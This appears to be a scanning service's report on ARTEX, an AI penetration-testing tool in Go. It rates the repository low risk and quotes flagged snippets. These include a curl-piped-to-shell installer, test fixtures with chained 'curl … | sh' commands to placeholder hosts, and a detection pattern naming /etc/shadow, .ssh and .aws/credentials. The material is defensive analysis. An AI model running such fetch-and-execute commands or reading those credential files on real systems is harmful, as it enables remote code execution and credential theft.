live · scanning repos
Scanrepo
github.com / BaaRai

BaaRai/ARTEX

Go·1093 files·commit 3cb0638·scanned 13h ago·cached ✓
15/100
LOW RISK
Minor findings consistent with the project type. Nothing reachable from install hooks.

score capped at 15 — 19,065+ stars — findings likely false positives

verdict accurate?
19,065 stars
Research / educational context
Partial architecture graph
threat-state: lowlive

FINDINGS ░▒▓

what this code does░▒▓

What happens when you open, install or run it, from the findings below.

  1. when runinstall.sh downloads a script and pipes it to the shell: curl -fsSL https://get.docker.com | sh. install.sh
  2. when runserver/customtool.go starts system processes. server/customtool.go
  3. when runintercept/risk.go references SSH key or cloud credential paths (such as ~/.ssh or ~/.aws/credentials). intercept/risk.go
criticalGo os/exec usageos/exec is used to run external commands. In malware it drops payloads, modifies the system, or opens shells.server/customtool.go
	defer cancel()
	c := exec.CommandContext(runCtx, interp, tmp)
	c.Dir = workDir
	// The allowlist as the executor (execenv_unix.go), then the session proxy env.
+8
criticalGo os/exec usageos/exec is used to run external commands. In malware it drops payloads, modifies the system, or opens shells.server/env_scrub_test.go

	out, err := exec.Command(sh, "-c", "env").Output()
	if err != nil {
		t.Fatal(err)
+8
criticalGo os/exec usageos/exec is used to run external commands. In malware it drops payloads, modifies the system, or opens shells.server/envseal_linux_test.go
	ScrubSecretEnv()
	child, err := exec.Command("env").Output()
	if err != nil {
		fmt.Printf("SEAL error %v\n", err)
+8
warningGo unsafe package usageunsafe package bypasses Go's type safety. Malware uses it for memory tricks, pointer casts, and hiding behavior.server/traffic_hooks_test.go
		`package hook; import "syscall"; func OnRequest(req *Request) error { return nil }`,
		`package hook; import "unsafe"; func OnRequest(req *Request) error { return nil }`,
		`package hook; import "re...
+3
warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.hardening/rulecheck_test.go
curl https://e/x.sh | sh
+4
criticalRemote script piped into a shellA shell script downloads remote content and executes it directly (e.g. `curl … | bash`). The payload is never stored or reviewable and can change server-side — a classic malware/backdoor install pattern.install.sh
curl -fsSL https://get.docker.com | sh
+10
warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.intercept/target_test.go
curl http://a.example/;curl http://b.example|sh
+4
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.traffic/hookvm/eval.go

func (e *vm) eval(expr ast.Expr, sc *env) any {
	e.step()
	switch x := expr.(type) {
+8
warningGo unsafe package usageunsafe package bypasses Go's type safety. Malware uses it for memory tricks, pointer casts, and hiding behavior.traffic/hookvm/vm_test.go
		{"import_syscall", "request", `package hook; import "syscall"; func OnRequest(req *Request) error { return nil }`},
		{"import_unsafe", "request", `package hook; import "unsafe"; func OnRequest(req ...
+3
warningGo unsafe package usageunsafe package bypasses Go's type safety. Malware uses it for memory tricks, pointer casts, and hiding behavior.traffic/stream.go
	"unicode/utf8"
	"unsafe"

	"github.com/Autumn-27/artex/db"
+3
infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2
warningHardcoded IP address in network callFetching data from hardcoded IP addresses instead of domain names is suspicious and may indicate C2 communication.server/llm_models_ssrf_test.go

	// 1. Caller-supplied DefaultOllamaBaseURL ("http://127.0.0.1:11434/v1") must
	// still be refused with no test seams and no allow-list entry.
	bare := &Server{}
+5
warningGo net/http with hardcoded IPHardcoded public IP addresses in HTTP clients are common in malware C2 configurations.server/llm_models_ssrf_test.go

	// 1. Caller-supplied DefaultOllamaBaseURL ("http://127.0.0.1:11434/v1") must
	// still be refused with no test seams and no allow-list entry.
	bare := &Server{}
+4
warningHardcoded IP address in network callFetching data from hardcoded IP addresses instead of domain names is suspicious and may indicate C2 communication.traffic/traffic.go
	if strings.HasPrefix(t.addr, ":") {
		return "http://127.0.0.1" + t.addr
	}
	return "http://" + t.addr
+5
warningGo net/http with hardcoded IPHardcoded public IP addresses in HTTP clients are common in malware C2 configurations.traffic/traffic.go
	if strings.HasPrefix(t.addr, ":") {
		return "http://127.0.0.1" + t.addr
	}
	return "http://" + t.addr
+4
warningBrowser extension injects content scripts on all URLsManifest declares content scripts or host permissions for all URLs (tabs). Combined with wallet code this is a common fake-extension drainer pattern.extension/manifest.json+6
warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.intercept/risk.go
		`(^|[\s;&|(])(sudo|su)(\s|$)|\bchmod\s+(-\w+\s+)*0?777\b|\bsetcap\b`),
	reSignal("reads secrets (/etc/shadow, .ssh, .aws/credentials, .git-credentials)", 40,
		`/etc/shadow|\.ssh/|\.aws/credentials|...
+5
warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.agent/promptcatalog.go+4
warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.agent/worker.go+4
infoSuspicious file in repoExecutable file (start.bat) in repositorystart.bat+2

Scores reflect the files and rules covered by this scan. How to read this report

971 files scanned @ 3cb0638 | 11/24/2026 | heuristic scan — always review manually

risk by category
code execution25
network & exfiltration24
file system access5
obfuscation8
supply chain2
owasp / injection0
telemetry
files 971/1093rules hit 20engine v11commit 3cb0638

github

BaaRai/ARTEX

Actively maintained ARTEX: AI autonomous penetration testing system. Self-hosted, model-agnostic, evidence-backed findings. Community continuation of Autumn-27/ARTEX, AGPL-3.0.

Go
19065
7139
48d
1093 files
971 scanned(89%)
3cb0638

network indicators░▒▓

Hosts this code names or would connect to. Top 50 of 150, decoded and call-site destinations first. Informational, not scored.

architecture░▒▓

entry (1) flagged (22) pkg (245)
645 nodes · 2530 edgesscroll to zoom · click node to jump to finding